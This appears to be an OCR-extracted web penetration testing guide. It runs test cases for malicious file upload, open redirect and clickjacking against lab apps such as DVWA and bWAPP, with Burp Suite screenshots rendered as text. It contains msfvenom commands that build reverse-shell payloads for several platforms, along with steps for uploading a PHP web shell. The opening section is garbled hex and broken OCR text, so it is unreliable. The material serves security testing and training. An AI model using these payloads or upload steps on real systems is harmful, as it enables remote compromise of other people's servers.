74 65 65 73 0a 6d	57 73 61 64 68 43 61 68 43 61 64 68 43 61	00 69 3b 22 65 6f 6f 2d 06 69 3b 22 65 6f 67 7 7 7 8 7 8 7 8 7 8 7 8 7 8 7 8 7 8	08 74 20 3b 6c 6c 6c 6c 6c 6c 6c 6c 6c	r0++32002247 Content-Dipos ion form-data, name="uploade flename="data LphpD.png"Con tent-Type: imag /pngManhho 2 7644326822577 Content-Dispost ion. form-data, name="uploaded" flename="4shel Lphp.png"Con tent-Type: image Comment this item
* ex Enco 44 144 144 144 144 144 144 144	oded f 43 69 6e 20 6c 74 2d 37 43 66 20 6c 74 25 6c 74 75 76 6c 74 74 75 74 74 75 74 74 75 74 74 74 75 74 74 74 74 74 74 74 74 74 74 74 74 74 75 74 75 74 74 74	500 URI 500 Gf 6f 6f 6f 6f 6f 6f 6f 6f 6f 6	-= 	54 74 3a 65 6c 68 74 74 74 3a 65 6c 68 67 67 74 74 9 70 71.1 0; Win64; ,,applicat % 10, Win64; ,,applicat %	33 65 20 3d 65 70 2d 2d 33 65 20 3d 65 20 3d 65 20 2d 2d 3d 65 20 2d 2d 3d 65 20 0d 2d 2d 3d 65 20 0d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d	22 66 66 22 6e 66 22 6e 66 62 26 6e 66 54 54 54 55 54 55 54 55 54 55 54 55 54 55 54 55 54 55 54 55 54	30 74 6f 75 2e 79 0d 2d 36 74 6f 75 61 2e 79 0d 2d 36 61 2e 79 0d 2d 36 9 79 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9	50 2d 72 70 6d 70 0 a 2d 2d 2d 72 70 6d 6d 70 70 70 70 70 70 70 70 70 70 70 70 70	32 44 66 65 66 66 40 20 32 44 60 65 66 65 65 65 83 8.0	2.3 69 2d 6f 3d 67 3a 61 2d 69 2d 6f 3d 67 3a	32 73 64 22 20 6e 2d 64 61 22 20 20	57 70 61 64 69 68 2d 37 70 61 64 34 34 0d 69 9	55 6f 74 65 73 0a 6d 2d 35 6f 74 65 65 73 0a 6d	57 73 61 64 68 24 37 73 61 68 43 61 61	00 69 3b 22 65 6f 67 2d 06 69 3b 22 65 6f 67 7 7 7 8 7 8 7 8 7 8 7 8 7 8 7 8 7 8	08 74 20 3b 6c 6c 6c 6c 6c 6c 6c 6c 6c	ro++J2002201 Content-Dipos ion: form-data, name="upbade flename="data LphtD.png"Con tent-Type: imag /pngManhho 2 7844326823276 flename="data flename="
* ex Enco 44 44 Marcopi HT Request to Forward Parami 1 / drwa/m pt: 162.166 Forward 1 / drwa/m ept: Ancol ept: Langui ept: Ancol ept: Ancol entities tent-Lengthen rede-Insec mercion: or and - Insec - and - a	oded f 43 69 6e 20 6c 74 2d 37 43 66 20 6c 74 21 22 66 20 6c 74 74 74 74 74 75 76 76 77 74 74 75 74 74 74 74 74 74 74 74 74 74 74 74 74 74 74 74 74 75 74 74 74	500 URI 500 Gf 6f 6f 6f 6f 6f 6f 6f 6f 6f 6	-= 	34 74 3a 65 6c 68 74 74 34 74 34 65 6c 68 67 67 71 10; Win64; , applicat almerabili dary=	33 65 20 3d 65 70 2d 2d 33 65 20 3d 65 20 3d 65 20 2d 2d 3d 65 20 2d 2d 3d 65 20 2d 2d 3d 65 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d	52 66 66 22 6e 64 66 62 66 66 62 66 66 54 54 54 55 54 55 54 55 54 55 54 55 54 55 54 55 54 55 54	30 74 6f 75 61 2e 79 0d 2d 36 74 6f 75 61 2e 79 0d 2d 2e 79 0d 2d 2e 79 0d 2d 0 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 75 5 5 5 5 61 75 5 61 75 61 75 75 61 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 75 5 61 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 79 0d 2e 75 5 5 75 5 75 75 75 75 75 75 75 75 75	30 2d 72 70 6d 70 0 36 2d 72 70 6d 70 70 70 70 70 70 70 70 70 70 70 70 70	32 44 66 65 66 66 40 20 32 44 60 65 66 65 65 65 83.0	2.3 69 2d 6f 3d 67 3a 61 2d 33 69 2d 6f 3d 67 3a	32 73 64 22 20 6e 2d 61 22 20 20 20 20 20 20 20 20 20 20 20 20	57 70 61 64 69 68 20 63 37 70 61 64 34 34 00 69 9	55 6f 74 65 73 0a 6d 2d 35 6f 74 65 65 73 0a 6d	57 73 61 64 68 2d 37 73 61 64 68 43 61	00 69 3b 22 65 6f 67 2d 06 69 3b 22 65 6f 67 7	08 74 20 3b 6c 6c 6c 6c 6c 6c 6c 6c 6c	r0++3.2002.2017 Content-Dipos ion: form-data; name="upbade flename="data LphD.png"Con tent-Type: imag /pngManhho ? Content-Discussion: flename="data
* ex Enco 44 44 Marcapi HT Request to Forward Parama Parama 1 / dvwayn Parama 1 / dvwayn Parama 1 / dvwayn Parama 1 / dvwayn Parama Parama 1 / dvwayn Parama 1 / dvwayn Parama Parama 1 / dvwayn Parama Param	oded f 37 43 69 66 20 66 74 2f 2d 37 43 69 60 20 62 74 73 74 75 76 74 76 77 76 77 74 74 75 76 77 74 74 75 76 77 76 77 77 78 79 74 79 74 74 74 74 74 74 74 74 74	500 URI 500 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f	-= 	34 74 74 865 66 88 74 74 74 74 74 865 66 68 74 74 74 90 80 74 74 74 74 74 74 74 74 74 74 74 74 74	33 65 20 3d 65 70 2d 2d 33 65 20 2d 2d 3d 65 20 2d 2d 2d 3d 65 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d	52 66 66 22 6e 44 32 6e 66 22 6e 66 54 54 54 54 54 54 54 54 54 54 54 54 54	50 74 61 2e 79 0d 26 74 61 75 26 79 0 2 26 79 9 0 2 0 2 2 0 2 0 2 0 2 0 2 0 0 2 0 0 2 0 0 2 0	30 2d 72 70 6d 70 08 2d 72 72 72 70 6d 70 70 70 70 70 70 70 70 70 70 70 70 70	3.0	55 69 2d 6f 3d 67 3a 61 2d 6f 6f 3a 3d 6f 3d 3d 67 3a	32 73 64 22 20 6e 2d 32 73 64 61 22 20 20	57 70 61 64 69 68 20 63 77 0 64 64 37 70 64 64 34 00 69 9	55 6f 74 65 73 08 6d 2d 35 6f 74 65 65 73 08 6d	57 73 61 64 68 43 68 20 37 73 61 64 64 63 64 64 63 61	00 69 3b 22 65 67 67 67 2d 0d 09 3b 22 65 67 7 7 7 8 8 9 3b 22 65 67	08 74 20 3b 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c	r0++32002267 Content-Dispos ion: form-data; name="uploade flename="data LphpD.png"Con tent-Type: imag /pngManhho 2 76443268232757 Content-Disposed flename="data lphp.png"Con tent-Type: image flename="data lphp.png"Con tent-Type: image /pngManhho content-Disposed flename="data

Manhnho

Target	Proxy Spide	r Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options
Intercept	HTTP history	WebSock	ets history	Options					
Response f	rom http://192.	168.222.136:8	0/dvwa/vul	nerabilities/up	oload/				
Forwa	rd	Drop	Intercep	t is on	Action				
Raw	eaders Hex	HTMLR	ender						
	<th><inpu <br <br=""/><inpu orm></inpu </inpu </th> <th>t type=" ckable/u</th> <th>submit" r</th> <th>shell.php s</th> <th>d" value</th> <th>="Upload" ly upload</th> <th>/> ed!</th> <th></th>	<inpu <br <br=""/><inpu orm></inpu </inpu 	t type=" ckable/u	submit" r	shell.php s	d" value	="Upload" ly upload	/> ed!	
<	/div>								
root@owa 1shell.j	aspbwa∶∕u ohp_dvwa	ar/www/d _email.j	lvwa/ha mg	ckable∕ı	ıploads#	ls			
root@owa 1shell.] root@owa root@owa	ispbwa:/u ohp Zshe ispbwa:/u ispbwa:/u	ar/www/d 11.php ar/www/d ar/www/d	lvwa/ha dvwa_e lvwa/ha luwa/ha	ckable/u mail.png ckable/u ckable/u	ıploads# J ıploads# mloads#	15			
1shell.) root@owa	ohp Zshe ispbwa:/i	ll.php ar/www/c	3shell luwa/ha	.php du ckable/u	ywa_email uploads#	.png			
rooteowa 1shell.] root@owa	ohp Zshe spbwa:/u	ar/www/d ll.php ar/www/d	luwa∕ha 3shell luwa∕ha	ckable/(.php 4s ckable/(ip10adS# shell.php iploadS#	- dvwa_	_email.p	ng	

• Blacklisting File Extensions

165 http://192.168.222.136	POST	/bWAPP/unrestricted_file_upload.php	1	200	11942	HTML	php	bWAPP - Unre	stricted Fil		192.168.222.1
66 http://192.168.222.136	GET	/bWAPP/images/4shell.php3		200	405	text	php3			,	192.168.222.1
					processing .						
Request Response											
Raw Params Headers Hex	1										
okie: dbx-postmeta=grabit=	0123	456-&advancedstuff=012	-; security	level=0; 1	emember	token=Stu	B7BrvdLCcPf	SwaD7x4g; PF	HPSESSID=f494	1p4limrhg8irl	fpeudi7023;
pendivids=swingset,jotto,	phpbb2,redmi	ne; acgroupswithpersist=nada			_						
mection: close grade-Insecure-Requests: 1											
ntent-Disposition: form-da	-20037128598 ta; name="fi	723 le"; filename=" <mark>4shell.php</mark> 3"									
ntent-Type: application/oc	tet-stream										
nhnho											
65 http://192.168.222.136	P	OST /bWAPP/unrestricted file	upload.php	1		200	11942	HTML	php	bWAPP -	Unrestricted Fil
66 http://192.168.222.136	G	ET /bWAPP/images/4shell.ph	p3			200	405	text	php3		
Dequeet Desnonee											
Request Response	~	>									
Raw Headers Hex HT	ML Render										
		•									
 	unlanded of	- herefollinger (Ashell who	Oll the second	- 1 1 1 2 2 2 1 1	hoved	1-2					
/div>	uproaded <	a nrei="images/4sheii.phj	3" target	= _ blank	<pre>>nere</pre> /	a>.					
	ortrictor		102 16	0 222 1	26/61			~ I			
T DWAPP - UNI	estricted		192.10	0.222.1	30/07	AFF/I	mage	^			
A A	~		10	3 4 6 0	222	1000					
C	UU		0 19	2.168	.222.	120/0	DVVAPL	rimage	es/4she	in.pnp3	

Manhnho

7. Test Upload of Malicious Files

How to Test

- Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and "malicious" file in you environment
- Develop or acquire a know "malicious" file
- Using the Metasploit payload generation functionality generates a shellcode as a windows executable using the Metasploit "msfvenom" command
- Try to upload the malicious file to the application/system and verify that it is correctly rejected
- Set up the intercepting proxy to capture the "valid" request for an accepted file
- Send an "invalid" request through with a valid/acceptable file extension and see if the request is accepted or rejected

Related Test Cases

- Test File Extensions Handling for Sensitive Information
- Test Upload of Unexpected File Types

Tools

- Metasploit's payload generation functionality
- Intercept proxy

Test example

Binaries

Linux

msfvenom	-p linux/x86/meterpreter/reverse_tcp LHOST= <your address="" ip=""> LPORT=<your connect="" on="" port="" to=""> -f elf > shell.elf</your></your>
Windows	
msfvenom	-p windows/meterpreter/reverse_tcp_LHOST= <your_ip_address> LPORT=<your connect="" on="" port="" to=""> -f exe > shell.exe</your></your_ip_address>

Мас

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.



Upload and active malicious file, hacker will gain & remote victim's computer



Client Side Testing

1. Testing for Client Side URL Redirect

This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

How to Test

- Spider target site
- Filter sitemap by status code such as 3xx [Redirection]
- Analysis results , modify and scan

Test Example

http://192.168.222.136	Contents								
animatedcollapse.is	Host	Method	URL	Params	Status 🔺	Length			
▶ 📴 bWAPP	http://192.168.222.136	GET	/zapwave/		200	2210			
▶ 🔽 dvwa	http://192.168.222.136	GET	/zapwave/active/		200	1583			
favicon.ico	http://192.168.222.136	GET	/zapwave/active/index.jsp		200	1583			
icons	http://192.168.222.136	GET	/zapwave/active/inject/in		200	1528			
images	http://192.168.222.136	GET	/zapwave/active/inject/in		200	1742			
index.css	http://192.168.222.136	POST	/zapwave/active/inject/in	\checkmark	200	1742			
jquery.min.js	http://192.168.222.136	GET	/zapwave/active/inject/in		200	1634			
Zapv	http://192.168.222.136	GET	/zapwave/active/inject/in	\checkmark	200	1634			
🕞 / 🔂 http://192.168.222.136/zapwave	http://192.168.222.136	GET	/zapwave/active/redirect		200	1683			
To a Remove from scope	http://192.168.222.136	GET	/zapwave/active/redirect		200	1437 🖕			
Spider this branch	-	OFT			- 000	•			
Actively scan this branch	Bequest Bessesse								
Passively scan this branch	Request Response								

Target	Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Proje
Site ma	p Scope	•								
ilter: Hidi	ing out of	scope and	I not found it	ems: hidin	n CSS image	and general	binary conter	nt: hiding 2xx	4xx and 5x	x resp
	ing out on			ionio, main	g 000, intage	, and general			, 100 and 00	, roop
2	Filter by r	equest tv	0e		Filter by	MIME type	L) Filter by	Filter by status code		
(é)	<u> </u>				Therby	мимс туре		Tiller by	status coue	_
	Sho	w only in-	-scope items		И НТІ	ML 🗹	Other text	2xx	([success]	
	Sho	w only in-	-scope items quested iten	ns	HTI	ML 🗹	Other text Images	2xx 3xx	(success)]
٢	Sho	w only in- w only re w only pa	-scope items quested iten irameterized	ns I requests	MICH BY	nimLiype ML Ø ript D L Ø	Other text Images Flash	□ 200 ☑ 300 □ 400	<pre>([success] ([redirection ([request er</pre>] ror]

-

http://192.168.222.136	Contents
animatedcollapse.is	Host Method URL Params Status 🔺 Length
• bWAPP	http://192.168.222.136 POST /zapwave/active/redirect √ 302 348
odvwa	
favicon.ico	
images	
index.css	
jquery.min.js	
o zapwave	
/ 🔂 active	
▼ Coredirect	
Redirect-form-basic.jsp	
redirect-url-basic.jsp	
	Request Response
	Raw Params Headers Hex
	Win64; x64; Trident/5.0)
	Connection: close
	<pre>kererer: http://192_168_222_136/zapwave/active/redirect/redirect-form-basic_i</pre>
	sp
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 25
	Cookie:
	dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-,2-;
	<pre>remember_token=stu3/BrvdLtCPISwaD/X4g; acopendivide=swingset_iotto_nhnhh2_redwine;</pre>
	acgroupswithpersist=nada; security=low;
	PHPSESSID=f494p41jmrhg8ir1fpeudi7023; security level=0;
	JSESSIONID=A2BFAC089D849806648F940673C08EB9;
	zap-info-cookie-no-http-only=test

1 ×	
Go Cancel < v > v Follow redirection	
Request	Response
Raw Params Headers Hex	Raw Headers Hex
<pre>D0ST /rapware/active/redirect/redirect-form-basic.jsp HTTP/1.1 Host: 152.160.202.136 Accept-Incoding: gsip, deflate Accept: */* Accept-Language: en User-Agent: Hosilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://152.168.202.136/sapware/active/redirect/redirect-form-basic.jsp Content-Length: 15 Cookie: dbx-postmeta-grabit=0-,1-,2-,3-,4-,5-,5-&&adwancedstuff=0-,1-,2-; remember_cooken=5tu:3PrvdlcCPfSwaD7x4g; acopendivids=swingset,jotto,phpbD_redmine; acgroupswithpersist=mada; security_low: PHPSESE1454941juntpdirifped/1702; security_level=0; JSESSIONID=ACBFAC005D048066480F940673C05EB5; zap-info-cookie=no-http-only=test target=tedirect-index.jsp </pre>	HTTP/1.1 302 Hoved Temporarily Date: Mon, 12 Mar 2010 06:20:24 GHT Server: Apache-Coyot/Al Location: http://152.166.202.136/zapwave/active/redirect/redirect-index.jsp Content-Type: text/html SST-COOKIE: JSESSIONID=ACEPACOSOB049806640F940673C008E9; HttpOnly Via: 1.1 127.0.1.1 Vary: Accept-Encoding Content-Length: 0 Connection: close
Request	Response
Raw Params Headers Hex	Raw Headers Hex HTML Render
<pre>GET /sapwave/active/redirect/redirect-index.jsp HTTP/1.1 Host: 152.160.222.136 Accept-Encoding: gsip, deflate Accept: */* Accept-Language: en User-Agent: Mosilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Commetion: close Referer: http://152.168.222.136/zapwave/active/redirect/redirect-form-basic.jsp http://152.168.222.136/zapwave/active/redirect/redirect-form-basic.jsp Coolie: dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-,2-; remember_token=Su37BrvdlCoffSwaD7x4q; acopendivids=swingset,jotto.phpbb2,redmine; acgroupswithpersist=mada; security=low: /HBSESEDF=f4594j1:rhgGi1fpeudi7023; security_level=0; JSESSIONID=ACBFAC005D645906640F940673C00EB9; zap-info-cookie-no-http-only=test</pre>	HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 08:20:56 GHT Server: Apache-Coyote/1.1 Content-Type: text/html SST-COOKE: JSSESIONID=ACBFAC089D849806648F940673C08EB9; HttpOnly Via: 1.1 127.0.1.1 Vary: Accept-Encoding Content-Length: 1178 Connection: close
1 × Go Cancel Request	Response
Raw Params Headers Hex	Raw Headers Hex
<pre>Security = Security = Securi</pre>	<pre>Date: Hon, 12 Mar 2018 08:21:45 GHT Server: Apache-Coyote/1.1 Location: https://google.com Content-Type: text/html SET-COCKIE: JSESIONID=ACBFAC089D049806640F940673C00EB9; HttpOnly Via: 1.1 127.0.1.1 Vary: Accept-Encoding Content-Length: 0 Connection: close</pre>
Go Cancel < V Follow redirection	Target: https://google.com
Raw Headers Resp Raw Headers Hex GRT / HTTP/1.1 Raw Rost: google.com Raw Accept: -Bncodlarg: grip, deflate Conten Accept: -Language: en User-Agent: Noilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 (connection: close Referen: Locati http://JE2.168.222.136/zapwave/active/redirect/redirect-form-basic.isp	Head Hex HTML Render 1 302 Found Control: private Control: private C-Type: text/html; charset=UTF=0 er=Policy: norteferrer on: https://www.google.com.vm/?gfe_rd=cridcr=0iei=9DimWqTCAsSdX5-fgugg t-Energht: 71 Mon, 12 Mar 2010 00:23:16 GHT c: hq="1443"; ma=2552000; quic=51303431; quic=51303335; quic=51303335,quic=":443"; ma=2552000; 39,35" 39,35"

cmtHils/dEAD>(marta http=equive"content=type" content="text/html;charset=utf=0">
<TITLB>302 Moved</TITLEs</HEAD><&OD>
<TITLB>302 Moved</TITLEs</HEAD><&OD>
<TITLB=C/HEAD><&OD>
<TITLB=C/HEAD><ARCATURE
The document has noved
<TLBEP=https://www.google.com.vn/?gfe_rd=cr&dcr=0&el=SDimWqT2AsSdX5-fgubE">here.
</EOD>></TLBEP=https://www.google.com.vn/?gfe_rd=cr&dcr=0&el=SDimWqT2AsSdX5-fgubE">here.
</EOD></TLBEP=https://www.google.com.vn/?gfe_rd=cr&dcr=0&el=SDimWqT2AsSdX5-fgubE">here.
</EOD></TLBEP=https://www.google.com.vn/?gfe_rd=cr&dcr=0&el=SDimWqT2AsSdX5-fgubE">here.
</EOD></TLBEP=https://www.google.com.vn/?gfe_rd=cr&dcr=0&el=SDimWqT2AsSdX5-fgubE">here.
</EOD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD></EDD><//EDD></EDD><//EDD><//EDD><//EDD><//EDD><//EDD><//EDD><//EDD><//EDD><//EDD><//EDD><//EDD

1 *		
Go Cancel < v > v	Target: https://www.google.com.vn 🥑	?
Request	Response	
Raw Params Headers Hex	Raw Headers Hex HTML Render	
GET /?gfe_rd=cr4dcr=0&ei=SDimWqT2AsSdX5-fgugE HTTP/1.1 Host: www.google.com.vn	Google+	4
Accept-Encoding: gzip, deflate Accept: */*	Add Magena-P YouTube	
Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;	Tin tás©c Gmail	1
x64; Trident/5.0) Connection: close	Drive Lásich	1
http://192.168.222.136/zapwave/active/redirect/redirect-form-basic.jsp		1
	Việt Nam	1
		1
	Tìm kiśvum nĂ¢ng	
	⊂Ărng cás¥ ngĂ'n ngá:	1
	Tìm vássi Google Xem trang Ä\á°§u tiìm Ä\Æ'ás€c	1
	Google Ä∕Æ*ợc cung cá%ip tá%i: English FranÁ§ais ā,-æ–‡ī¼*çº⊡é≪')	1
	ChÆ%Æjng tril€nh Quai‱ng caÌ⊡o Giai‰i phaÌ⊡p Kinh doanh Giássi thiás‡u vás⊡ Google. Google.com	
Contents	leeuee	
Host Method IIRI Params Statu	tus A Length input returned in response (reflected) [3]	_
http://192.168.222.136 POST /zapwave/active/redirect ✓ 302	348 i Open redirection (reflected)	
	i Email addresses disclosed	
	i Suspicious input transformation (reflected)	
	1 Link manipulation (reflected)	
•		_
Request Response	Advisory Request Response	
Raw Params Headers Hex		
Host: 192.168.222.136	Open redirection (reflected)	
Accept: */*		
Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1	.1; Open redirection (reflected)	
Win64; x64; Trident/5.0)	Severity: Information	
Referer:	Host: http://192.168.222.136	
http://192.168.222.136/zapwave/active/redirect/redirect-form- sp	a-basic.j Path: /zapwave/active/redirect/redirect-form-basic.jsp	
Content-Type: application/x-www-form-urlencoded Content-Length: 25		
Cookie:	Issue detail	
<pre>dbx=postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-, remember_token=Stu37BrvdLCcPfSwaD7x4g;</pre>	The value of the target request parameter is used to perform an HTTP redirect. The payload	
<pre>acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; security=low;</pre>	caused a redirection to the following URL:	
<pre>PHPSESSID=f494p41jmrhg8ir1fpeudi7023; security_level=0; JSESSIONID=A2BFAC089D849806648F940673C08EB9;</pre>	http://anxa7ts8psh/a?redirect-index.jsp	
zap-info-cookie-no-http-only=test		

2. Testing for Clickjacking

Clickjacking is a malicious technique that consist of deceiving a web user into interacting (in most case by clicking) with something different to what the user believes they are interacting with

How to Test

- Intercept proxy and analyze header (X-Frame-Option)
- Automate Scanner

Tools

• BurpSuite

• "Clickjacking Tool" - <u>http://www.contextis.com/research/tools/clickjacking-tool/</u>

Test Example

▼ 1 Frameable response (potential Clickjacking) [6]	
1 /dvwa/	
i /dvwa/login.php	
i /dvwa/security.php	
Advisory Request Response	
Note that some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.	
You should determine whether any functions accessible within frameable pages can be used by application users to perform any sensitive actions within the application.	
Issue remediation	
To effectively prevent framing attacks, the application should return a response header with the name X-Frame-Options and the value DENY to prevent framing altogether, or the value SAMEORIGIN to allow framing only by pages on the same origin as the response itself. Note that the SAMEORIGIN beader can be partially bypassed if the application itself can be made to a startic start of the same starting bypassed in the same start of th	
frame untrusted websites.	
▼ 1 Frameable response (potential Clickjacking) [6]	
i /dvwa/	
i /dvwa/index.php	I
1 /dvwa/login.pnp i /dvwa/security.php	1
Advisory Request Response	
Raw Params Headers Hex	
GET /dywa/ HTTP/1.1	
Host: 192.168.222.136	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.	0)
Accept:	
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=	:0.8
Accept-Language: en-GB,en;q=0.5	
Accept-Encoding: gzip, deflate Cookie: security=medium;	
dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-	,2-;
<pre>security_level=0; remember_token=Stu37BrvdLCcPfSwaD7x4g; PUDSPSSID=200-reference=Stu37BrvdLCcPfSwaD7x4g;</pre>	
acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpers	ist=nada
Connection: close	
Upgrade-Insecure-Requests: 1	
Entropy (netrotical Oficial Statistical (Claring King))	
i /dywa/	
i /dvwa/index.php	
/dvwa/login.php	
i /dvwa/security.php	
Advisory Request Response	
Advisory Request Response Raw Headers Hex HTML Render	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Service: header(2.2.14 (University) and service(2.4.2 DHD/E.2.2-1).humtu4.20	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 0penSSL/0.9.8k Phusion_Passenger/4.0.38	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 0penSSL/0.9.8k Phusion_Passenger/4.0.38 mod_per1/2.0.4 Per1/v5.10.1	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.2-lubuntu4.30 Furnizers Two 224 Jun 2006 10:000 GMT	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Subosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.2-lubuntu4.30 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache. must-revalidate	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Subosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 X-Powered-By: PHP/5.3.2-lubuntu4.30 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache	
Advisory Request Response Raw Headers Hex HTML Render HTTP/1.1 200 0K Date: Mon, 12 Mar 2018 03:15:00 GMT Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Subosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 0penSSL/0.9.8k Phusion_Passenger/4.0.38 mod_per1/2.0.4 Per1/v5.10.1 X-Powered-By: PHP/5.3.2-lubuntu4.30 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding	
